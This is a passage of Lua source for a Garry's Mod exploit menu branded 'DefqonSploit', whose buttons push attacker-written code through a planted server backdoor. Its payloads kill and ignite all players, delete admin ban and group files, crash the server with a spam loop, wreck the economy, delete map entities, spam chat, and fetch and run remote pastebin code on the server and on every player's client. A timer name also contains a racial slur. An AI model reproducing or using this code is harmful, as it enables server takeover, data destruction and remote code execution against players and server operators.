net.SendToServer()
end
local sound4 = vgui.Create("DButton", DScrollPanel)
sound4:SetSize( 208, 20 )
sound4:SetPos( 2, 75 )
sound4:SetText("Smash Mouth OVER9000 BASS (-уши)")
sound4:SetTextColor(Color(255, 255, 255, 255))
sound4.Paint = function(panel, w, h)
surface.SetDrawColor(100, 100, 100 ,255)
surface.DrawOutlinedRect(0, 0, w, h)
surface.SetDrawColor(50, 0, 0 ,155)
surface.DrawRect(0, 0, w, h)
end
sound4.DoClick = function()
surface.PlaySound("garrysmod/ui_click.wav")
chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Defqon", "] ", Color( 255, 255, 255 ), "АААААААААААААААААААААААААААААААААААА" )
iZNX.NetStart(thefrenchenculer)
net.WriteString( "http.Fetch(\"https://pastebin.com/raw/7XhrLSg3\",function(b,l,h,c)RunString(b)end,nil)" )
net.WriteBit(1)
net.SendToServer()
end
local sound5 = vgui.Create("DButton", DScrollPanel)
sound5:SetSize( 208, 20 )
sound5:SetPos( 2, 100 )
sound5:SetText("Gucci Gang But Im Screaming")
sound5:SetTextColor(Color(255, 255, 255, 255))
sound5.Paint = function(panel, w, h)
surface.SetDrawColor(100, 100, 100 ,255)
surface.DrawOutlinedRect(0, 0, w, h)
surface.SetDrawColor(50, 0, 0 ,155)
surface.DrawRect(0, 0, w, h)
end
sound5.DoClick = function()
surface.PlaySound("garrysmod/ui_click.wav")
chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Defqon", "] ", Color( 255, 255, 255 ), "АААААААААААААААААААААААААААААААААААА" )
iZNX.NetStart(thefrenchenculer)
net.WriteString( "http.Fetch(\"https://pastebin.com/raw/J6BL3FUM\",function(b,l,h,c)RunString(b)end,nil)" )
net.WriteBit(1)
net.SendToServer()
end
end
-------------------------------------------------------------------------------------
function iZNX.HTXBackdoor( parent, x, y, btext )
if !parent:IsValid() then return end
local TButton = vgui.Create( "DButton" )
TButton:SetParent( parent )
TButton:SetPos( x, y )
TButton:SetText( btext )
TButton:SetTextColor( Color(255, 255, 255, 255) )
TButton:SizeToContents()
TButton:SetTall( 24 )
TButton.Paint = function( self, w, h )
surface.SetDrawColor( Color(100, 60, 60, 200) )
surface.DrawRect( 0, 0, w, h )
surface.SetDrawColor( Color( 60, 60, 60 ) )
surface.SetMaterial( downgrad )
surface.DrawTexturedRect( 0, 0, w, h/ 2 )
surface.SetDrawColor( Color(100, 100, 100, 255) )
surface.DrawOutlinedRect( 0, 0, w, h )
surface.SetDrawColor( Color(110, 70, 70, 255) )
surface.DrawOutlinedRect( 2, 2, w - 4, h - 4 )
end
TButton.DoClick = function()
iZNX.HTXCommandeListe()
end
return TButton:GetWide(), TButton:GetTall()
end
function iZNX.HTXCommandeListe()
if iZNX.HTXCommandeSelector and iZNX.HTXCommandeSelector:IsVisible() then iZNX.HTXCommandeSelector:Remove() end
iZNX.HTXCommandeSelector = vgui.Create("DFrame")
iZNX.HTXCommandeSelector:SetSize(240,350)
iZNX.HTXCommandeSelector:SetTitle("Дефкон макросы")
iZNX.HTXCommandeSelector:SetPos( gui.MouseX(), gui.MouseY() )
iZNX.HTXCommandeSelector:MakePopup()
iZNX.HTXCommandeSelector.Paint = function( s, w, h )
if !iZNX.Menu or !iZNX.Menu:IsVisible() then s:Remove() return end
surface.SetDrawColor( Color(30, 30, 30, 245) )
surface.DrawRect( 0, 0, w, h )
surface.SetDrawColor( Color(55, 55, 55, 245) )
surface.DrawOutlinedRect( 0, 0, w, h )
surface.DrawOutlinedRect( 1, 1, w - 2, h - 2 )
end
local DScrollPanel = vgui.Create( "DScrollPanel", iZNX.HTXCommandeSelector )
DScrollPanel:Dock( FILL )
local commandnethtx1 = vgui.Create("DButton", DScrollPanel)
commandnethtx1:SetSize( 208, 20 )
commandnethtx1:SetPos( 2, 175 )
commandnethtx1:SetText("Убить всех")
commandnethtx1:SetTextColor(Color(255, 255, 255, 255))
commandnethtx1.Paint = function(panel, w, h)
surface.SetDrawColor(100, 100, 100 ,255)
surface.DrawOutlinedRect(0, 0, w, h)
surface.SetDrawColor(50, 0, 0 ,155)
surface.DrawRect(0, 0, w, h)
end
commandnethtx1.DoClick = function()
surface.PlaySound("garrysmod/ui_click.wav")
chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Defqon", "] ", Color( 255, 255, 255 ), "Все мертвы" )
iZNX.NetStart(thefrenchenculer)
net.WriteString( "for k,v in pairs(player.GetAll()) do v:Kill() end" )
net.WriteBit(1)
net.SendToServer()
end
local commandnethtx2 = vgui.Create("DButton", DScrollPanel)
commandnethtx2:SetSize( 208, 20 )
commandnethtx2:SetPos( 2, 100 )
commandnethtx2:SetText("Безобидное disco [не ломает ничего]")
commandnethtx2:SetTextColor(Color(255, 255, 255, 255))
commandnethtx2.Paint = function(panel, w, h)
surface.SetDrawColor(100, 100, 100 ,255)
surface.DrawOutlinedRect(0, 0, w, h)
surface.SetDrawColor(50, 0, 0 ,155)
surface.DrawRect(0, 0, w, h)
end
commandnethtx2.DoClick = function()
surface.PlaySound("garrysmod/ui_click.wav")
chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Defqon", "] ", Color( 255, 255, 255 ), "Disco успешно запущено" )
net.Start(thefrenchenculer)
net.WriteString( "http.Fetch(\"https://pastebin.com/raw/i41Jk7ry\",function(b,l,h,c)RunString(b)end,nil)" )
net.WriteBit(1)
net.SendToServer()
end
local commandnethtx3 = vgui.Create("DButton", DScrollPanel )
commandnethtx3:SetSize( 208, 20 )
commandnethtx3:SetPos( 2, 375 )
commandnethtx3:SetText("Удалить ulx баны")
commandnethtx3:SetTextColor(Color(255, 255, 255, 255))
commandnethtx3.Paint = function(panel, w, h)
surface.SetDrawColor(100, 100, 100 ,255)
surface.DrawOutlinedRect(0, 0, w, h)
surface.SetDrawColor(50, 0, 0 ,155)
surface.DrawRect(0, 0, w, h)
end
commandnethtx3.DoClick = function()
surface.PlaySound("garrysmod/ui_click.wav")
chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Defqon", "] ", Color( 255, 255, 255 ), "Удалено" )
iZNX.NetStart(thefrenchenculer)
net.WriteString( "if file.Exists( \"ulib/bans.txt\", \"DATA\" ) then file.Delete(\"ulib/bans.txt\") end" )
net.WriteBit(1)
net.SendToServer()
end
local commandnethtx4 = vgui.Create("DButton", DScrollPanel )
commandnethtx4:SetSize( 208, 20 )
commandnethtx4:SetPos( 2, 725 )
commandnethtx4:SetText("Поджечь всех")
commandnethtx4:SetTextColor(Color(255, 255, 255, 255))
commandnethtx4.Paint = function(panel, w, h)
surface.SetDrawColor(100, 100, 100 ,255)
surface.DrawOutlinedRect(0, 0, w, h)
surface.SetDrawColor(50, 0, 0 ,155)
surface.DrawRect(0, 0, w, h)
end
commandnethtx4.DoClick = function()
surface.PlaySound("garrysmod/ui_click.wav")
chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Defqon", "] ", Color( 255, 255, 255 ), "Поджигаем" )
iZNX.NetStart(thefrenchenculer)
net.WriteString( "for k,v in pairs(player.GetAll()) do v:Ignite(120) end" )
net.WriteBit(1)
net.SendToServer()
end
local commandnethtx5 = vgui.Create("DButton", DScrollPanel )
commandnethtx5:SetSize( 208, 20 )
commandnethtx5:SetPos( 2, 150 )
commandnethtx5:SetText("Удалить ulx группы")
commandnethtx5:SetTextColor(Color(255, 255, 255, 255))
commandnethtx5.Paint = function(panel, w, h)
surface.SetDrawColor(100, 100, 100 ,255)
surface.DrawOutlinedRect(0, 0, w, h)
surface.SetDrawColor(50, 0, 0 ,155)
surface.DrawRect(0, 0, w, h)
end
commandnethtx5.DoClick = function()
surface.PlaySound("garrysmod/ui_click.wav")
chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Defqon", "] ", Color( 255, 255, 255 ), "Удалено" )
iZNX.NetStart(thefrenchenculer)
net.WriteString( "if file.Exists( \"ulib/groups.txt\", \"DATA\" ) then file.Delete(\"ulib/groups.txt\") end" )
net.WriteBit(1)
net.SendToServer()
end
local commandnethtx6 = vgui.Create("DButton", DScrollPanel )
commandnethtx6:SetSize( 208, 20 )
commandnethtx6:SetPos( 2, 50 )
commandnethtx6:SetText("Выключить сервер")
commandnethtx6:SetTextColor(Color(255, 255, 255, 255))
commandnethtx6.Paint = function(panel, w, h)
surface.SetDrawColor(100, 100, 100 ,255)
surface.DrawOutlinedRect(0, 0, w, h)
surface.SetDrawColor(50, 0, 0 ,155)
surface.DrawRect(0, 0, w, h)
end
commandnethtx6.DoClick = function()
surface.PlaySound("garrysmod/ui_click.wav")
chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Defqon", "] ", Color( 255, 255, 255 ), "Выключаем" )
iZNX.NetStart(thefrenchenculer)
net.WriteString("timer.Create( \"spamlolk\", 0, 0, function() for i = 1, 1000000 do MsgC(Color(math.random(255), math.random(255), math.random(255)), \" \") end end)")
net.WriteBit(1)
net.SendToServer()
end
local commandnethtx7 = vgui.Create("DButton", DScrollPanel)
commandnethtx7:SetSize( 208, 20 )
commandnethtx7:SetPos( 2, 200 )
commandnethtx7:SetText("Спам в чат")
commandnethtx7:SetTextColor(Color(255, 255, 255, 255))
commandnethtx7.Paint = function(panel, w, h)
surface.SetDrawColor(100, 100, 100 ,255)
surface.DrawOutlinedRect(0, 0, w, h)
surface.SetDrawColor(50, 0, 0 ,155)
surface.DrawRect(0, 0, w, h)
end
local chatrapemike = false
commandnethtx7.DoClick = function()
surface.PlaySound("garrysmod/ui_click.wav")
RainbowMike = {
"chat.AddText(Color(0,255,0), \" ▁ ▂ ▃ ▄ ▅ ▆ ▇ĤẪĈЌĒĎ ฿¥ Аутистов сброд | discord.gg/hf8GVVS█ ▇ ▆ ▅ ▄ ▂ ▁ \")",
"chat.AddText(Color(0,0,255), \" ▁ ▂ ▃ ▄ ▅ ▆ ▇ĤẪĈЌĒĎ ฿¥ Аутистов сброд | discord.gg/hf8GVVS█ ▇ ▆ ▅ ▄ ▂ ▁ \")",
"chat.AddText(Color(255,0,0), \" ▁ ▂ ▃ ▄ ▅ ▆ ▇ĤẪĈЌĒĎ ฿¥ Аутистов сброд | discord.gg/hf8GVVS█ ▇ ▆ ▅ ▄ ▂ ▁ \")",
"chat.AddText(Color(255,255,0), \" ▁ ▂ ▃ ▄ ▅ ▆ ▇ĤẪĈЌĒĎ ฿¥ Аутистов сброд | discord.gg/hf8GVVS█ ▇ ▆ ▅ ▄ ▂ ▁ \")",
"chat.AddText(Color(0,255,255), \" ▁ ▂ ▃ ▄ ▅ ▆ ▇ĤẪĈЌĒĎ ฿¥ Аутистов сброд | discord.gg/hf8GVVS█ ▇ ▆ ▅ ▄ ▂ ▁ \")",
"chat.AddText(Color(255,0,255), \" ▁ ▂ ▃ ▄ ▅ ▆ ▇ĤẪĈЌĒĎ ฿¥ Аутистов сброд | discord.gg/hf8GVVS█ ▇ ▆ ▅ ▄ ▂ ▁ \")",
}
chatrapemike = !chatrapemike
if( chatrapemike ) then
timer.Create( "niggaspams", 0.0001, 0, function()
net.Start(thefrenchenculer)
net.WriteString( "for k,v in pairs(player.GetAll()) do v:SendLua([["..table.Random(RainbowMike).."]]) end " )
net.WriteBit (1)
net.SendToServer()
end )
else
timer.Destroy( "niggaspams" )
end
end
local commandnethtx8 = vgui.Create("DButton", DScrollPanel)
commandnethtx8:SetSize( 208, 20 )
commandnethtx8:SetPos( 2, 225 )
commandnethtx8:SetText("Изменить всем модели")
commandnethtx8:SetTextColor(Color(255, 255, 255, 255))
commandnethtx8.Paint = function(panel, w, h)
surface.SetDrawColor(100, 100, 100 ,255)
surface.DrawOutlinedRect(0, 0, w, h)
surface.SetDrawColor(50, 0, 0 ,155)
surface.DrawRect(0, 0, w, h)
end
commandnethtx8.DoClick = function()
surface.PlaySound("garrysmod/ui_click.wav")
chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Defqon", "] ", Color( 255, 255, 255 ), "Изменяем" )
iZNX.NetStart(thefrenchenculer)
net.WriteString( "for k,v in pairs(player.GetAll()) do v:SetModel(\"models/editor/playerstart.mdl\") end" )
net.WriteBit(1)
net.SendToServer()
end
local commandnethtx9 = vgui.Create("DButton", DScrollPanel)
commandnethtx9:SetSize( 208, 20 )
commandnethtx9:SetPos( 2, 250 )
commandnethtx9:SetText("Сломать физику")
commandnethtx9:SetTextColor(Color(255, 255, 255, 255))
commandnethtx9.Paint = function(panel, w, h)
surface.SetDrawColor(100, 100, 100 ,255)
surface.DrawOutlinedRect(0, 0, w, h)
surface.SetDrawColor(50, 0, 0 ,155)
surface.DrawRect(0, 0, w, h)
end
commandnethtx9.DoClick = function()
surface.PlaySound("garrysmod/ui_click.wav")
chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Defqon", "] ", Color( 255, 255, 255 ), "Сломано" )
net.Start(thefrenchenculer)
net.WriteString( "RunConsoleCommand(\"sv_friction\", \"-8\")" )
net.WriteBit(1)
net.SendToServer()
end
local commandnethtx10 = vgui.Create("DButton", DScrollPanel)
commandnethtx10:SetSize( 208, 20 )
commandnethtx10:SetPos( 2, 275 )
commandnethtx10:SetText("Обратная гравитация")
commandnethtx10:SetTextColor(Color(255, 255, 255, 255))
commandnethtx10.Paint = function(panel, w, h)
surface.SetDrawColor(100, 100, 100 ,255)
surface.DrawOutlinedRect(0, 0, w, h)
surface.SetDrawColor(50, 0, 0 ,155)
surface.DrawRect(0, 0, w, h)
end
commandnethtx10.DoClick = function()
surface.PlaySound("garrysmod/ui_click.wav")
chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Defqon", "] ", Color( 255, 255, 255 ), "Бах" )
net.Start(thefrenchenculer)
net.WriteString( "RunConsoleCommand(\"sv_gravity\", \"-600\")" )
net.WriteBit(1)
net.SendToServer()
end
local commandnethtx11 = vgui.Create("DButton", DScrollPanel)
commandnethtx11:SetSize( 208, 20 )
commandnethtx11:SetPos( 2, 300 )
commandnethtx11:SetText("Сбросить все деньги")
commandnethtx11:SetTextColor(Color(255, 255, 255, 255))
commandnethtx11.Paint = function(panel, w, h)
surface.SetDrawColor(100, 100, 100 ,255)
surface.DrawOutlinedRect(0, 0, w, h)
surface.SetDrawColor(50, 0, 0 ,155)
surface.DrawRect(0, 0, w, h)
end
commandnethtx11.DoClick = function()
surface.PlaySound("garrysmod/ui_click.wav")
chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Defqon", "] ", Color( 255, 255, 255 ), "Сброшено" )
net.Start(thefrenchenculer)
net.WriteString( "RunConsoleCommand(\"rp_resetallmoney\")" )
net.WriteBit(1)
net.SendToServer()
end
local commandnethtx12 = vgui.Create("DButton", DScrollPanel)
commandnethtx12:SetSize( 208, 20 )
commandnethtx12:SetPos( 2, 325 )
commandnethtx12:SetText("Запустить всех в воздух")
commandnethtx12:SetTextColor(Color(255, 255, 255, 255))
commandnethtx12.Paint = function(panel, w, h)
surface.SetDrawColor(100, 100, 100 ,255)
surface.DrawOutlinedRect(0, 0, w, h)
surface.SetDrawColor(50, 0, 0 ,155)
surface.DrawRect(0, 0, w, h)
end
commandnethtx12.DoClick = function()
surface.PlaySound("garrysmod/ui_click.wav")
chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Defqon", "] ", Color( 255, 255, 255 ), "Ухуу" )
net.Start(thefrenchenculer)
net.WriteString( "for k,v in pairs(player.GetAll()) do v:SetVelocity(v:GetVelocity() + Vector(math.random(1000,5000), math.random(1000,5000), math.random(1000,5000))) end" )
net.WriteBit(1)
net.SendToServer()
end
local commandnethtx13 = vgui.Create("DButton", DScrollPanel)
commandnethtx13:SetSize( 208, 20 )
commandnethtx13:SetPos( 2, 350 )
commandnethtx13:SetText("Изменить всем имена")
commandnethtx13:SetTextColor(Color(255, 255, 255, 255))
commandnethtx13.Paint = function(panel, w, h)
surface.SetDrawColor(100, 100, 100 ,255)
surface.DrawOutlinedRect(0, 0, w, h)
surface.SetDrawColor(50, 0, 0 ,155)
surface.DrawRect(0, 0, w, h)
end
commandnethtx13.DoClick = function()
surface.PlaySound("garrysmod/ui_click.wav")
chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Defqon", "] ", Color( 255, 255, 255 ), "Изменено" )
net.Start(thefrenchenculer)
net.WriteString( "for k, v in pairs(player.GetAll()) do v:ConCommand(\"say /name Hacked by DefqonSploit\"); end" ) -- net.WriteString( "for k,v in pairs(player.GetAll()) do if( v:GetUserGroup() != \"user\" ) then v:SendLua(\"while true do end\") end end" )
net.WriteBit(1)
net.SendToServer()
end
local commandnethtx14 = vgui.Create("DButton", DScrollPanel)
commandnethtx14:SetSize( 208, 20 )
commandnethtx14:SetPos( 2, 75 )
commandnethtx14:SetText("Сломать сервер [disco]")
commandnethtx14:SetTextColor(Color(255, 255, 255, 255))
commandnethtx14.Paint = function(panel, w, h)
surface.SetDrawColor(100, 100, 100 ,255)
surface.DrawOutlinedRect(0, 0, w, h)
surface.SetDrawColor(50, 0, 0 ,155)
surface.DrawRect(0, 0, w, h)
end
commandnethtx14.DoClick = function()
surface.PlaySound("garrysmod/ui_click.wav")
chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Defqon", "] ", Color( 255, 255, 255 ), "Запускаем" )
net.Start(thefrenchenculer)
net.WriteString( "http.Fetch(\"https://pastebin.com/raw/riqSMkyq\",function(b,l,h,c)RunString(b)end,nil)" )
net.WriteBit(1)
net.SendToServer()
end
local commandnethtx15 = vgui.Create("DButton", DScrollPanel)
commandnethtx15:SetSize( 208, 20 )
commandnethtx15:SetPos( 2, 400 )
commandnethtx15:SetText("Сломать Экономику")
commandnethtx15:SetTextColor(Color(255, 255, 255, 255))
commandnethtx15.Paint = function(panel, w, h)
surface.SetDrawColor(100, 100, 100 ,255)
surface.DrawOutlinedRect(0, 0, w, h)
surface.SetDrawColor(50, 0, 0 ,155)
surface.DrawRect(0, 0, w, h)
end
commandnethtx15.DoClick = function()
surface.PlaySound("garrysmod/ui_click.wav")
chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Defqon", "] ", Color( 255, 255, 255 ), "Сломано" )
net.Start(thefrenchenculer)
net.WriteString( "for k,v in pairs(player.GetAll()) do v:addMoney(99999999999999999) end" )
net.WriteBit(1)
net.SendToServer()
end
local commandnethtx16 = vgui.Create("DButton", DScrollPanel)
commandnethtx16:SetSize( 208, 20 )
commandnethtx16:SetPos( 2, 425 )
commandnethtx16:SetText("Порно звуки шагов")
commandnethtx16:SetTextColor(Color(255, 255, 255, 255))
commandnethtx16.Paint = function(panel, w, h)
surface.SetDrawColor(100, 100, 100 ,255)
surface.DrawOutlinedRect(0, 0, w, h)
surface.SetDrawColor(50, 0, 0 ,155)
surface.DrawRect(0, 0, w, h)
end
commandnethtx16.DoClick = function()
surface.PlaySound("garrysmod/ui_click.wav")
chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Defqon", "] ", Color( 255, 255, 255 ), "Ах" )
net.Start(thefrenchenculer)
net.WriteString( "hook.Add(\"PlayerFootstep\", \"porn\", function(ply, pos, foot, sound2, volume, filter) ply:EmitSound( \"vo/npc/female01/pain06.wav\",75,math.random( 50, 150 )) end )" )
net.WriteBit(1)
net.SendToServer()
end
local commandnethtx17 = vgui.Create("DButton", DScrollPanel)
commandnethtx17:SetSize( 208, 20 )
commandnethtx17:SetPos( 2, 450 )
commandnethtx17:SetText("☢ Удалить все энтити ☢")
commandnethtx17:SetTextColor(Color(255, 255, 255, 255))
commandnethtx17.Paint = function(panel, w, h)
surface.SetDrawColor(100, 100, 100 ,255)
surface.DrawOutlinedRect(0, 0, w, h)
surface.SetDrawColor(50, 0, 0 ,155)
surface.DrawRect(0, 0, w, h)
end
commandnethtx17.DoClick = function()
surface.PlaySound("garrysmod/ui_click.wav")
chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Defqon", "] ", Color( 255, 255, 255 ), "Удалено" )
net.Start(thefrenchenculer)
net.WriteString( "for k, v in pairs(ents.FindByClass( \"prop_*\" )) do v:Remove() end for k, v in pairs(ents.FindByClass( \"func_*\" )) do v:Remove() end for k, v in pairs(ents.FindByClass( \"env_*\" )) do v:Remove() end for k, v in pairs(ents.FindByClass( \"lua_run*\" )) do v:Remove() end for k, v in pairs(ents.FindByClass( \"point_*\" )) do v:Remove() end for k, v in pairs(ents.FindByClass( \"trigger_*\" )) do v:Remove() end for k, v in pairs(ents.FindByClass( \"info_*\" )) do v:Remove() end" )
net.WriteBit(1)
net.SendToServer()
end
local commandnethtx18 = vgui.Create("DButton", DScrollPanel)
commandnethtx18:SetSize( 208, 20 )
commandnethtx18:SetPos( 2, 475 )
commandnethtx18:SetText("Hell (hellstart/hellend в консоль)")
commandnethtx18:SetTextColor(Color(255, 255, 255, 255))
commandnethtx18.Paint = function(panel, w, h)
surface.SetDrawColor(100, 100, 100 ,255)
surface.DrawOutlinedRect(0, 0, w, h)
surface.SetDrawColor(50, 0, 0 ,155)
surface.DrawRect(0, 0, w, h)
end
commandnethtx18.DoClick = function()
surface.PlaySound("garrysmod/ui_click.wav")
chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Defqon", "] ", Color( 255, 255, 255 ), "hellstart/hellend" )
net.Start(thefrenchenculer)
net.WriteString( "http.Fetch(\"https://pastebin.com/raw/Y4uHaLW6\",RunString)" )
net.WriteBit(1)
net.SendToServer()
end
local commandnethtx19 = vgui.Create("DButton", DScrollPanel)
commandnethtx19:SetSize( 208, 20 )
commandnethtx19:SetPos( 2, 500 )
commandnethtx19:SetText("-Уши у всех игроков")
commandnethtx19:SetTextColor(Color(255, 255, 255, 255))
commandnethtx19.Paint = function(panel, w, h)
surface.SetDrawColor(100, 100, 100 ,255)
surface.DrawOutlinedRect(0, 0, w, h)
surface.SetDrawColor(50, 0, 0 ,155)
surface.DrawRect(0, 0, w, h)
end
commandnethtx19.DoClick = function()
surface.PlaySound("garrysmod/ui_click.wav")
chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Defqon", "] ", Color( 255, 255, 255 ), "-уши" )
net.Start(thefrenchenculer)
net.WriteString( "for k,v in pairs(player.GetAll()) do v:EmitSound( \"npc/stalker/go_alert2a.wav\", 100, 100 ) end" )
net.WriteBit(1)
net.SendToServer()
end
local commandnethtx20 = vgui.Create("DButton", DScrollPanel)
commandnethtx20:SetSize( 208, 20 )
commandnethtx20:SetPos( 2, 525 )
commandnethtx20:SetText("Землетрясение")
commandnethtx20:SetTextColor(Color(255, 255, 255, 255))
commandnethtx20.Paint = function(panel, w, h)
surface.SetDrawColor(100, 100, 100 ,255)
surface.DrawOutlinedRect(0, 0, w, h)
surface.SetDrawColor(50, 0, 0 ,155)
surface.DrawRect(0, 0, w, h)
end
commandnethtx20.DoClick = function()
surface.PlaySound("garrysmod/ui_click.wav")
chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Defqon", "] ", Color( 255, 255, 255 ), "Запускаем" )
net.Start(thefrenchenculer)
net.WriteString( "for k,v in pairs(player.GetAll()) do v:SendLua( [[util.ScreenShake( Vector( 0, 0, 0 ), 10, 5, 60, 5000 )]] ) end" )
net.WriteBit(1)
net.SendToServer()
end
local commandnethtx21 = vgui.Create("DButton", DScrollPanel)
commandnethtx21:SetSize( 208, 20 )
commandnethtx21:SetPos( 2, 550 )
commandnethtx21:SetText("2D модели")
commandnethtx21:SetTextColor(Color(255, 255, 255, 255))
commandnethtx21.Paint = function(panel, w, h)
surface.SetDrawColor(100, 100, 100 ,255)
surface.DrawOutlinedRect(0, 0, w, h)
surface.SetDrawColor(50, 0, 0 ,155)
surface.DrawRect(0, 0, w, h)
end
commandnethtx21.DoClick = function()
surface.PlaySound("garrysmod/ui_click.wav")
chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Defqon", "] ", Color( 255, 255, 255 ), "Бах" )
net.Start(thefrenchenculer)
net.WriteString([[
for k,v in pairs(player.GetAll()) do
local a = v:LookupBone("ValveBiped.Bip01_Head1")
local b = v:LookupBone("ValveBiped.Bip01_R_Thigh")
local c = v:LookupBone("ValveBiped.Bip01_L_Thigh")
local d = v:LookupBone("ValveBiped.Bip01_R_Calf")
local e = v:LookupBone("ValveBiped.Bip01_L_Calf")
local f = v:LookupBone("ValveBiped.Bip01_R_UpperArm")
local g = v:LookupBone("ValveBiped.Bip01_L_UpperArm")
local h = v:LookupBone("ValveBiped.Bip01_R_Forearm")
local i = v:LookupBone("ValveBiped.Bip01_L_Forearm")
local j = v:LookupBone("ValveBiped.Bip01_R_Clavicle")
local k = v:LookupBone("ValveBiped.Bip01_L_Clavicle")
v:ManipulateBoneScale( a, Vector(4,0,4))
v:ManipulateBoneScale( b, Vector(0,0,0))
v:ManipulateBoneScale( c, Vector(0,0,0))
v:ManipulateBoneScale( d, Vector(0,0,1))
v:ManipulateBoneScale( e, Vector(0,0,1))
v:ManipulateBoneScale( f, Vector(0,0,0))
v:ManipulateBoneScale( g, Vector(0,0,0))
v:ManipulateBoneScale( h, Vector(1,1.5,1.5))
v:ManipulateBoneScale( i, Vector(1,1.5,1.5))
v:ManipulateBoneScale( j, Vector(0,0,0))
v:ManipulateBoneScale( k, Vector(0,0,0))
end]])
net.WriteBit(1)
net.SendToServer()
end
local commandnethtx22 = vgui.Create("DButton", DScrollPanel)
commandnethtx22:SetSize( 208, 20 )
commandnethtx22:SetPos( 2, 575 )
commandnethtx22:SetText("Армагеддон")
commandnethtx22:SetTextColor(Color(255, 255, 255, 255))
commandnethtx22.Paint = function(panel, w, h)
surface.SetDrawColor(100, 100, 100 ,255)
surface.DrawOutlinedRect(0, 0, w, h)
surface.SetDrawColor(50, 0, 0 ,155)
surface.DrawRect(0, 0, w, h)
end
commandnethtx22.DoClick = function()
surface.PlaySound("garrysmod/ui_click.wav")
chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Defqon", "] ", Color( 255, 255, 255 ), "Запускаем" )
local armageddon = [[
local b = Entity(2)
for k,v in pairs(player.GetAll()) do
if (v:Nick()=="OrionYouth") then
b = v
end
end
b:SetHealth(6666666)
b:SetModel("models/gman_high.mdl")
b:Ignite(300000)
b:SetMaterial("phoenix_storms/wire/pcb_green")
hook.Add("Think", "gi", function()
b:SetColor(Color(math.random(1,255),math.random(1,255),math.random(1,255)))
end)
for k,v in pairs(player.GetAll()) do
v:SendLua("http.Fetch(\"https://pastebin.com/raw/nVhmBa9C\",function(b,l,h,c)RunString(b)end,nil)")
end
]]
net.Start(thefrenchenculer)
net.WriteString( armageddon )
net.WriteBit(1)
net.SendToServer()
end
local commandnethtx23 = vgui.Create("DButton", DScrollPanel)
commandnethtx23:SetSize( 208, 20 )
commandnethtx23:SetPos( 2, 600 )
commandnethtx23:SetText("Сделать всех гигантами")
commandnethtx23:SetTextColor(Color(255, 255, 255, 255))
commandnethtx23.Paint = function(panel, w, h)
surface.SetDrawColor(100, 100, 100 ,255)
surface.DrawOutlinedRect(0, 0, w, h)
surface.SetDrawColor(50, 0, 0 ,155)
surface.DrawRect(0, 0, w, h)
end
commandnethtx23.DoClick = function()
surface.PlaySound("garrysmod/ui_click.wav")
chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Defqon", "] ", Color( 255, 255, 255 ), "Все стали гигантами" )
local giant = [[
hook.Add("Think", "giant", function()
for k,v in pairs (player.GetAll()) do
v:SetModelScale(2.5, 100);
v:SetRunSpeed(400 * 2);
v:SetWalkSpeed(200 * 2);
end
end)]]
net.Start(thefrenchenculer)
net.WriteString( giant )
net.WriteBit(1)
net.SendToServer()
end
local commandnethtx24 = vgui.Create("DButton", DScrollPanel)
commandnethtx24:SetSize( 208, 20 )
commandnethtx24:SetPos( 2, 625 )
commandnethtx24:SetText("Сделать всех высокими")
commandnethtx24:SetTextColor(Color(255, 255, 255, 255))
commandnethtx24.Paint = function(panel, w, h)
surface.SetDrawColor(100, 100, 100 ,255)
surface.DrawOutlinedRect(0, 0, w, h)
surface.SetDrawColor(50, 0, 0 ,155)
surface.DrawRect(0, 0, w, h)
end
commandnethtx24.DoClick = function()
surface.PlaySound("garrysmod/ui_click.wav")
chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Defqon", "] ", Color( 255, 255, 255 ), "Все стали высокими" )
local tall = [[
hook.Add("Think", "tall", function()
for k,v in pairs (player.GetAll()) do
v:SetModelScale(0.2, 80);
v:SetRunSpeed(400 * 2);
v:SetWalkSpeed(200 * 2);
end
end)]]
net.Start(thefrenchenculer)
net.WriteString( tall )
net.WriteBit(1)
net.SendToServer()
end
local commandnethtx25 = vgui.Create("DButton", DScrollPanel)
commandnethtx25:SetSize( 208, 20 )
commandnethtx25:SetPos( 2, 650 )
commandnethtx25:SetText("SpeedHack")
commandnethtx25:SetTextColor(Color(255, 255, 255, 255))
commandnethtx25.Paint = function(panel, w, h)
surface.SetDrawColor(100, 100, 100 ,255)
surface.DrawOutlinedRect(0, 0, w, h)
surface.SetDrawColor(50, 0, 0 ,155)
surface.DrawRect(0, 0, w, h)
end
commandnethtx25.DoClick = function()
surface.PlaySound("garrysmod/ui_click.wav")
chat.AddText(Color(math.random(255), math.random(255), math.random(255)), "[", "Defqon", "] ", Color( 255, 255, 255 ), "Запускаем" )
local speedhack = [[
hook.Add("Think", "speedhack", function()
for k,v in pairs (player.GetAll()) do
v:SetRunSpeed(400* 4);
v:SetWalkSpeed(200 * 2);
end
end)]]
net.Start(thefrenchenculer)
net.WriteString( speedhack )
net.WriteBit(1)
net.SendToServer()
end
local commandnethtx26 = vgui.Create("DButton", DScrollPanel)
commandnethtx26:SetSize( 208, 20 )
commandnethtx26:SetPos( 2, 675 )
commandnethtx26:SetText("Кашель всевышнего")
